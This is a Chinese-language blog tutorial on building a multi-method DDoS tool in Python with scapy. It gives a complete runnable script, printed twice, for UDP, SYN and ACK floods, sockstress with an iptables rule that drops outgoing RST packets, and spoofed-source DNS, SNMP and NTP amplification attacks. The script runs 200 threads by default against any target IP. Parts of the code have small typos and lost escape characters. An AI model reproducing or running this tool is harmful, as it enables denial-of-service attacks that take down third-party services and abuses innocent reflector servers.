Python打造自己的ddos工具

释放双眼,带上耳机,听听看~!

下面是这个工具的功能和大概工作方式

scapy模块:

什么是scapy(摘自官网定义):Scapy是一个强大的,用Python编写的交互式数据包处理程序,它能让用户发送、嗅探、解析,以及伪造网络报文,从而用来侦测、扫描和向网络发动攻击。Scapy可以轻松地处理扫描(scanning)、路由跟踪(tracerouting)、探测(probing)、单元测试(unit tests)、攻击(attacks)和发现网络(network discorvery)之类的传统任务。它可以代替hping,arpspoof,arp-sk,arping,p0f 甚至是部分的Nmap,tcpdump和tshark 的功能。

我们要想实现拒绝服务攻击,就要构建数据包不停的向目标发送。

scapy模块在kali中内置,如是其他操作系统需要pip下载。(windows下请用管理员身份运行程序)

命令行输入scapy打开shell调试

这就是一个简单的ip()数据包,ttl–最大跳数,src(source)–源ip,dst(destination)–目标ip,del()函数,删除数据包属性的函数。

scapy
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

数据包拼接(官方:堆码层数

该/运算符已用作两层之间的合成运算符。这样做时,下层可以根据上层重载一个或多个默认字段。(您仍然可以提供所需的值)。字符串可用作原始层。

//大概意思就是上层协议的数据包与下层协议的数据包进行拼接。就好像ip协议不能指定端口号一样,它的上层协议才能规定端口号一样。IP()/UDP(),像这样从右向左看,相当于osi五层模型自上而下。/的右边是上层协议,左边是下层协议。

>>> IP()

>>> IP()/TCP()
>
>>> Ether()/IP()/TCP()
>>
>>> IP()/TCP()/"GET / HTTP/1.0rnrn"
>>
>>> Ether()/IP()/IP()/UDP()
>>>
>>> IP(proto=55)/TCP()
>

接下来就是数据包发送。

sr1()发送一次,并返回两个结果,第一个结果是答应包,第二个是未答应包。

send()函数将在第3层发送数据包。也就是说,它将为您处理路由和第2层。

sendp()函数将在第2层起作用。由您选择正确的接口(指定网卡)和正确的链路层协议。

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> send(IP(dst='127.0.0.1'), return_packets=True)
.
Sent 1 packets.
>>> answer,uanswer = sr1(IP(dst="1.2.3.4")/ICMP())
Begin emission:
.Finished sending 1 packets.
....................^C
Received 21 packets, got 0 answers, remaining 1 packets

更多用法请查看官方文档。

iptables

什么是iptables(摘自百度百科):

iPTABLES 是与最新的 3.5 版本 Linux 内核集成的 IP 信息包过滤系统。如果 Linux 系统连接到因特网或 LAN、服务器或连接 LAN 和因特网的代理服务器, 则该系统有利于在 Linux 系统上更好地控制 IP 信息包过滤和防火墙配置。

在进行sockstress攻击中,为了完成三次握手,阻止scapy发送rst包,我们需要重新建立iptables规则。

iptables四表五链,还有就是流量进出控制。(图片来自百度百科)

四表指的是它的功能:

filter, 控制数据包是否允许进出及转发(INPUT、OUTPUT、FORWARD),可以控制的链路有input, forward, output

 nat, 控制数据包中地址转换,可以控制的链路有prerouting,  output, postrouting

 mangle,修改数据包中的原数据,可以控制的链路有prerouting, input, forward, output, postrouting

 raw,控制nat表中连接追踪机制的启用状况,可以控制的链路有prerouting, output

五链指内核中控制网络的NetFilter定义的五个规则链,分别为

PREROUTING, 路由前

INPUT, 数据包流入口

FORWARD, 转发管卡

OUTPUT, 数据包出口

POSTROUTING, 路由后

流量进出控制

基本的两种:accept接受,drop拒绝

语法规则

iptables [-t table] COMMAND [chain] CRETIRIA -j ACTION

-t 就是要操作的表(上面提到的四个表)

COMMAN 定义对规则

chain, 指明规则链

CRETIRIA, 匹配条件

ACTION (accept或drop)

-A 代表在OUTPUT这条链后面追加规则,-p protoc,这里的的-p tcp 代表的是协议tcp,–tcp-flags  arg arg2

arg用作参数检查,arg2用作参数匹配。-d(destination)目标ip。-j DROP,意思就是如果有要发送给目标ip的rst包,那么就丢弃它不发送。(更详细的请自己百度,这里讲不完。。)

具体实现过程:

1)获取用户输入

相关模块:sys&getopt(用于获取外部参数)

首先是sys这个模块的argv。

sys.argv获取的是命令行输入的程序名以及后面输入的字符串,并返回一个列表。 

getopt.getopt

它用来匹配从sys.argv中获取的字符串列表,支持两种类型(短类型和长类型),例:-h,–help,类似于这种。返回两个列表,分别是opt和arg,第二个列表也就是arg是getopt不匹配的参数.

要处理的字符串,也就是我们的sys.argv[1:],第二个参数就是短字符串,ho:等于-h 无参数,-o 有参数,字母后面加上:相当于这个选项有参数。看执行结果的第二个列表前两个元组就明白了。

这样我们就可以根据处理的结果,获取参数和其对应的值了。

arg就是与其不匹配的,既不是-开头也不是–开头的。

#程序入口处,主函数.
def main():

    #获取所有参数
    opt,arg = getopt.getopt(sys.argv[1:],"hU:p:",["Ts=","Ta=","DNS=","SOCKS=","NTP=","SNMP="])

    if(len(opt)==0):
        print ("ddosp.py -h获取帮助")
        sys.exit()

    #参数处理
    if(len(opt) > 2):
        print ("最多可指定2个参数,不包括线程数参数.")
        print ("输入python ddosp.py -h获取帮助信息")
        sys.exit(0)
    #获取目标端口
    for key,value in opt:
        if(key == "-p"):
            port = value
        else:
            continue
    #获取攻击方式,目标ip.
    for key,value in opt:
        #-h输出帮助信息并退出
        if (key == "-h"):
            print ("(bugfor-XW)简介:这是一个ddos自动化攻击,您可以指定攻击方式和线程数.")
            print ("下面是命令帮助信息n---------------------------------")
            print ("-h 显示命令行帮助信息")
            print ("-p 指定被攻击目标端口,请确认端口为开放状态")
            print ("-U ip地址   udp拒绝服务攻击,杀敌一千自损一千")
            print ("--Ts=ip地址   tcp syn-flood拒绝服务攻击")
            print ("--Ta=ip地址   tcp ack拒绝服务攻击")
            print ("--DNS=ip地址  DNS放大攻击")
            print ("--SOCKS=ip地址   SOCKS放大攻击")
            print ("--NTP=ip地址   NTP放大攻击")
            print ("--SNMP=ip地址   SNMP放大攻击")
            print ("线程数 (默认为200)")
            sys.exit(0)
        #攻击选项
        if(key == "-U"):
            target = value
            method = 0
        if(key == "--Ts"):
            target = value
            method = 1
        if(key == "--Ta"):
            target = value
            method = 2
        if(key == "--DNS"):
            target = value
            method = 3
        if(key == "--SOCKS"):
            target = value
            method = 4
        if(key == "--SNMP"):
            target = value
            method = 5
        if(key == "--NTP"):
            target = value
            method = 6

    #获取线程数,如果为空,默认为200.
    thr = 0
    if(arg[0]==""):
        thr=200
    thr = int(arg[0])
    #实例化攻击类,开始攻击
    attack = attack_ddos(target,port,thr,method)
    attack.create_thread()
    if(method == 4):
        signal.signal(signal.SIGINT,attack.shutdown)

用户输入的信息我们获得了,就开始准备攻击(加黑部分代码),这个类里一共有九个函数,中断函数shutdown,创建线程函数create_thread,还有六种不同方式的ddos函数。

class attack_ddos:
    def shutdown(self,signal,frame):
        print ("正在恢复iptables规则")
        print (type(target))
        os.system("iptables -D OUTPUT -p tcp --tcp-flags RST RST -d "+self.target+" -j DROP")
        time.sleep(10)
        sys.exit()

    def __init__(self,target,port,thr,method):
        self.target=target
        self.port=int(port)
        self.thr=thr
        self.method = method
    #创建线程
    def create_thread(self):
        if(self.method == 0):
            while self.thr:
                b = threading.Thread(target=self.udp_ddos,args=(self.target,self.port,))
                b.start()
                self.thr -= 1
        if(self.method == 1):
            while self.thr:
                b = threading.Thread(target=self.tcp_synflood_ddos,args=(self.target,self.port,))
                b.start()
                self.thr -= 1
        if(self.method == 2):
            while self.thr:
                b = threading.Thread(target=self.tcp_ack_ddos,args=(self.target,self.port))
                b.start()
                self.thr -= 1
        if(self.method == 3):
            self.dns_server = str(input("指定dns的ip地址(如:"8.8.8.8"):"))
            self.domain = str(input("指定dns的查询地址(如:"google.com")"))
            while self.thr:
                b = threading.Thread(target=self.dns_ddos,args=(self.target,self.port,self.dns_server,self.domain))
                b.start()
                self.thr -= 1
        if(self.method == 4):
            print ("正在修改iptables规则")
            os.system("iptables -A OUTPUT -p tcp --tcp-flags RST RST -d "+self.target+"  -j DROP")
            time.sleep(5)
            print ("开始攻击,按住ctrl+c停止.")
            while self.thr:
                b = threading.Thread(target=self.sockstress_ddos,args=(self.target,self.port))
                b.start()
                self.thr -= 1
        if(self.method == 5):
            while self.thr:
                b = threading.Thread(target=self.snmp_ddos,args=(self.target,self.port))
                b.start()
                self.thr -= 1
        if(self.method == 6):
            self.ntp_server = str(input("NTP服务器ip地址(例:"210.72.145.44")"))
            while self.thr:
                b = threading.Thread(target=self.ntp_ddos,args=(self.target,self.port,self.ntp_server))
                b.start()
                self.thr -= 1
    #攻击函数
    def udp_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/UDP(dport=por,sport=x))
    def tcp_synflood_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/TCP(dport=por,sport=x,flags="S"))
    def tcp_ack_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/TCP(dport=por,sport=x,flags="A"))
    def dns_ddos(self,targe,por,dns_server,domain):
        #构造发送数据包
        while True:
            send(IP(src=targe,dst=dns_server)/UDP(sport=por,dport=53)/DNS(rd=1,qd=DNSQR(qtype=255,qname=domain)))
    def snmp_ddos(self,targe,por):
        #构造发送数据包
        while True:
            try:
                s = SNMP()
                s.community = "public"
                b = SNMPbluk()
                b.max_repetitions = 100
                b.varblindlist=[SNMPvarblind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarblind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]
                s.PDU=b
                send(IP(src=targe)/UDP(dport=por,sport=por)/SNMP())
            except:
                pass
    def sockstress_ddos(self,targe,por):
        #构造发送数据包
        while True:
            try:
                x =random.randint(0,65535)
                response = sr1(IP(dst=targe)/TCP(dport=por,sport=x,flags="S"),timeout=1,verbose=0)
                send(IP(dst=targe)/TCP(dport=por,sport=x,window=0,flags="A",ack=(response[TCP].seq+1),seq=1)/"x00x00",verbose=0)
            except:
                pass
    def ntp_ddos(self,targe,por,ntp_servier):
        #构造发送数据包
        data ="x17x00x03x2a" + "x00" * 4
        while True:
            try:
                x = random.randint(0,65535)
                send(IP(src=targe,dst=ntp_servier)/UDP(dport=123,sport=x)/Raw(load=data))
            except:
                pass 
main()  attack = attack_ddos(target,port,thr,method)
  attack.create_thread()

首先要创建线程(通过method判断选择何种攻击方式,thr判断创建线程数),之后调用攻击函数。

攻击函数

先看第一种ddos方式(udp——ddos):

udp是无连接的协议,发送出去就不管了,资源消耗差不多是1:1(拼带宽)。

只需要提供本地端口和远程ip地址和端口,就可以发送udp数据包了。

端口号范围是0-65535,使用random模块中的randint方法实现本地随机端口发送。

 def udp_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/UDP(dport=por,sport=x))

第二种ddos方式:syn洪水攻击(tcp_synflood_ddos)

实现原理:

syn洪水攻击采用的是tcp连接(这个图片是从我博客上拿下来的)

正常三次握手:

首先服务器监听本地端口,客户端发起请求。SYN是在建立连接时用来同步序号,当syn为1,ack为0时,表明这是一个连接请求报文。seq是序号的意思,即每个字节的唯一标识。

服务端发送确认消息给客户端。ACK为确认号,当ACK=1时,确认号有效,ACK=0时,确认号无效。ack是确认的序号。

客户端收到服务端的确认消息之后,返回一个确认消息给服务器,然后进行数据传送。

syn-flood:

在服务端发送确认消息给客户端之后,客户端不再发送确认消息,而是发送一个RST包(释放本次连接)。

  def tcp_synflood_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/TCP(dport=por,sport=x,flags="S"))

第三种ddos方式:TCP-ack攻击(tcp_ack_ddos):

攻击原理

客户端直接发送ack包(确认消息)给服务端,服务器端发送RST包断开连接。(因为客户端没有向服务器申请建立tcp连接,服务端认为这是一个不正常的连接,所以发送rst包拒绝并断开)

 def tcp_ack_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/TCP(dport=por,sport=x,flags="A"))

第四种ddos方式:dns(Domain Name System,缩写:DNS)放大攻击

攻击原理:

dns有两种报文,一种是请求报文,另一种是回应报文。(通常来说回应报文是请求报文大小的几倍)

通过伪造请求报文的源地址,使dns服务器将大的回应报文发送给服务器。这就实现了放大攻击。

先让我们看一下dns协议

这是请求报文的格式

标识占两个字节

响应报文

send(IP(src=targe,dst=dns_server)/UDP(sport=por,dport=53)/DNS(rd=1,qd=DNSQR(qtype=255,qname=domain)))

rd表示的是是否递归查询,rd=1(是),rd=0(不是)。

qd=DNSQR(qtype=255,qname=domain)

DNSQR()构建一个dns请求报文

qtype=255,相当于qtype=0xFF,代表查询所有。

qname=domain,domain为要查询的域名

通常来说dns走的是udp的53端口。

查询不同的域名,得到的回应报文长度都是不一样的,回应报文长度越大,攻击效果就越好。查询哪个域名回应长度更长,需要自己抓包找了。

  def dns_ddos(self,targe,por,dns_server,domain):
        #构造发送数据包
        while True:
            send(IP(src=targe,dst=dns_server)/UDP(sport=por,dport=53)/DNS(rd=1,qd=DNSQR(qtype=255,qname=domain)))

第五种:snmp放大攻击

攻击原理:

snmp(简单网络管理协议)由三部分组成,snmp本身,管理信息结构SMI,管理信息库MIB。

管理信息结构SMI:

1)被管对象的命名

SMI规定所有被管对象都必须要在对象命名树中

2)被管对象的数据类型

简单类型和结构类型

结构数据类型有两种:sequence(类似c语言的结构体)和sequence of(类似于c语言的数组)

3)编码方式

SMI使用后ASN.1指定的基本编码规则BER,BER指明了每种数据类型的类型和值。在发送端用BER进行编码,接收端进行解码。ASN.1把所有数据元素都表示为T-L-V三个字段组成的序列。T(tag)定义数据类型。L(length)定义长度,V(value)定义值。

T字段又可以分为三个子字段,如图。

管理信息库MIB:

被管对象的集合。

每一个节点都有一个OID(标识符)

对应端口一般为UDP,161端口。

s.community = “public”,安装服务默认是public

b =SNMPbulk(),表示查询一大块数据

b.max_repetitions =100,表示重复一百次

b.varblindlist=[SNMPvarblind(oid=ASN1_OID(‘1.3.6.1.2.1.1’)),SNMPvarblind(oid=ASN1_OID(‘1.3.6.1.2.1.19.1.3’))],表示查询的设备,oid=管理信息结构中位置较高的根节点的oid。

s.PDU = b,表示PDU部分由b组成。

    def snmp_ddos(self,targe,por):
        #构造发送数据包
        while True:
            try:
                s = SNMP()
                s.community = "public"
                b = SNMPbulk()
                b.max_repetitions = 100
                b.varblindlist=[SNMPvarblind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarblind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]
                s.PDU=b
                send(IP(src=targe)/UDP(dport=por,sport=por)/SNMP())
            except:
                pass  

第六种:ntp放大攻击(很少有)

攻击原理:ntp的monlist提供时间查询服务。

ntp服务一般都在UDP的123端口开启。

查询时(伪造源地址),ntp服务器返回最近六百个客户端查询ip,六个ip一个数据包,最高可放大100倍。

ntp攻击的前提是ntp配置文件中的这两行被注释掉,这两行的作用是限制查询。

返回结果,说明存在ntp放大攻击。(默认安装ntp服务,需要手动注释掉ntp配置文件中的那两行)

 def ntp_ddos(self,targe,por,ntp_servier):
        #构造发送数据包
        data ="x17x00x03x2a" + "x00" * 4
        while True:
            try:
                x = random.randint(0,65535)
                send(IP(src=targe,dst=ntp_servier)/UDP(dport=123,sport=x)/Raw(load=data))
            except:
                pass 

下面是完整代码

#导入相关模块
from scapy.all import *
import sys
import os
import getopt
import threading
import time
import random
import signal

#目标ip/port/threads/method
target = ""
port = ""
thr = "0"
method = ""

#程序入口处
def main():

    #获取所有参数
    opt,arg = getopt.getopt(sys.argv[1:],"hU:p:",["Ts=","Ta=","DNS=","SOCKS=","NTP=","SNMP="])

    if(len(opt)==0):
        print ("ddosp.py -h获取帮助")
        sys.exit()

    #参数处理
    if(len(opt) > 2):
        print ("最多可指定2个参数,不包括线程数参数.")
        print ("输入python ddosp.py -h获取帮助信息")
        sys.exit(0)
    #获取目标端口
    for key,value in opt:
        if(key == "-p"):
            port = value
        else:
            continue
    #获取攻击方式,目标ip.
    for key,value in opt:
        #-h输出帮助信息并退出
        if (key == "-h"):
            print ("(bugfor-XW)简介:这是一个ddos自动化攻击,您可以指定攻击方式和线程数.")
            print ("下面是命令帮助信息n---------------------------------")
            print ("-h 显示命令行帮助信息")
            print ("-p 指定被攻击目标端口,请确认端口为开放状态")
            print ("-U ip地址   udp拒绝服务攻击,杀敌一千自损一千")
            print ("--Ts=ip地址   tcp syn-flood拒绝服务攻击")
            print ("--Ta=ip地址   tcp ack拒绝服务攻击")
            print ("--DNS=ip地址  DNS放大攻击")
            print ("--SOCKS=ip地址   SOCKS放大攻击")
            print ("--NTP=ip地址   NTP放大攻击")
            print ("--SNMP=ip地址   SNMP放大攻击")
            print ("线程数 (默认为200)")
            sys.exit(0)
        #攻击选项
        if(key == "-U"):
            target = value
            method = 0
        if(key == "--Ts"):
            target = value
            method = 1
        if(key == "--Ta"):
            target = value
            method = 2
        if(key == "--DNS"):
            target = value
            method = 3
        if(key == "--SOCKS"):
            target = value
            method = 4
        if(key == "--SNMP"):
            target = value
            method = 5
        if(key == "--NTP"):
            target = value
            method = 6

    #获取线程数,如果为空,默认为200.
    thr = 0
    if(arg[0]==""):
        thr=200
    thr = int(arg[0])
    #实例化攻击类,开始攻击
    attack = attack_ddos(target,port,thr,method)
    attack.create_thread()
    signal.signal(signal.SIGINT,attack.shutdown)


class attack_ddos:
    def shutdown(self,signal,frame):
        print ("正在恢复iptables规则")
        print (type(target))
        os.system("iptables -D OUTPUT -p tcp --tcp-flags RST RST -d "+self.target+" -j DROP")
        time.sleep(10)
        sys.exit()

    def __init__(self,target,port,thr,method):
        self.target=target
        self.port=int(port)
        self.thr=thr
        self.method = method
    #创建线程
    def create_thread(self):
        if(self.method == 0):
            while self.thr:
                b = threading.Thread(target=self.udp_ddos,args=(self.target,self.port,))
                b.start()
                self.thr -= 1
        if(self.method == 1):
            while self.thr:
                b = threading.Thread(target=self.tcp_synflood_ddos,args=(self.target,self.port,))
                b.start()
                self.thr -= 1
        if(self.method == 2):
            while self.thr:
                b = threading.Thread(target=self.tcp_ack_ddos,args=(self.target,self.port))
                b.start()
                self.thr -= 1
        if(self.method == 3):
            self.dns_server = str(input("指定dns的ip地址(如:"8.8.8.8"):"))
            self.domain = str(input("指定dns的查询地址(如:"google.com")"))
            while self.thr:
                b = threading.Thread(target=self.dns_ddos,args=(self.target,self.port,self.dns_server,self.domain))
                b.start()
                self.thr -= 1
        if(self.method == 4):
            print ("正在修改iptables规则")
            os.system("iptables -A OUTPUT -p tcp --tcp-flags RST RST -d "+self.target+"  -j DROP")
            time.sleep(5)
            print ("开始攻击,按住ctrl+c停止.")
            while self.thr:
                b = threading.Thread(target=self.sockstress_ddos,args=(self.target,self.port))
                b.start()
                self.thr -= 1
        if(self.method == 5):
            while self.thr:
                b = threading.Thread(target=self.snmp_ddos,args=(self.target,self.port))
                b.start()
                self.thr -= 1
        if(self.method == 6):
            self.ntp_server = str(input("NTP服务器ip地址(例:"210.72.145.44")"))
            while self.thr:
                b = threading.Thread(target=self.ntp_ddos,args=(self.target,self.port,self.ntp_server))
                b.start()
                self.thr -= 1
    #攻击函数
    def udp_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/UDP(dport=por,sport=x))
    def tcp_synflood_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/TCP(dport=por,sport=x,flags="S"))
    def tcp_ack_ddos(self,targe,por):
        #构造发送数据包
        while True:
            x = random.randint(0,65535)
            send(IP(dst=targe)/TCP(dport=por,sport=x,flags="A"))
    def dns_ddos(self,targe,por,dns_server,domain):
        #构造发送数据包
        while True:
            send(IP(src=targe,dst=dns_server)/UDP(sport=por,dport=53)/DNS(rd=1,qd=DNSQR(qtype=255,qname=domain)))
    def snmp_ddos(self,targe,por):
        #构造发送数据包
        while True:
            try:
                s = SNMP()
                s.community = "public"
                b = SNMPbulk()
                b.max_repetitions = 100
                b.varblindlist=[SNMPvarblind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarblind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]
                s.PDU=b
                send(IP(src=targe)/UDP(dport=por,sport=por)/SNMP())
            except:
                pass
    def sockstress_ddos(self,targe,por):
        #构造发送数据包
        while True:
            try:
                x =random.randint(0,65535)
                response = sr1(IP(dst=targe)/TCP(dport=por,sport=x,flags="S"),timeout=1,verbose=0)
                send(IP(dst=targe)/TCP(dport=por,sport=x,window=0,flags="A",ack=(response[TCP].seq+1),seq=1)/"x00x00",verbose=0)
            except:
                pass
    def ntp_ddos(self,targe,por,ntp_servier):
        #构造发送数据包
        data ="x17x00x03x2a" + "x00" * 4
        while True:
            try:
                x = random.randint(0,65535)
                send(IP(src=targe,dst=ntp_servier)/UDP(dport=123,sport=x)/Raw(load=data))
            except:
                pass

 
#调用主函数,程序开始.
main()
WEB安全安全独秀圈质量好文

个人对HTTP请求走私的理解

2020-4-29 13:28:47

安全独秀圈质量好文

影响力公众号排行榜活动 {收获地址确认}

2020-4-29 21:00:11

3 条回复 A文章作者 M管理员
  1. 更改如下
    self.dns_server = str(input(“指定dns的ip地址(如:”8.8.8.8″):”))
    self.domain = str(input(“指定dns的查询地址(如:”google.com”)”))
    **************************************************************
    self.dns_server = str(input(“指定dns的ip地址(如:”8.8.8.8″):”))
    self.domain = str(input(“指定dns的查询地址(如:”google.com”)”))

    • 。。转义符号不给加啊

个人中心
购物车
优惠劵
有新私信 私信列表
搜索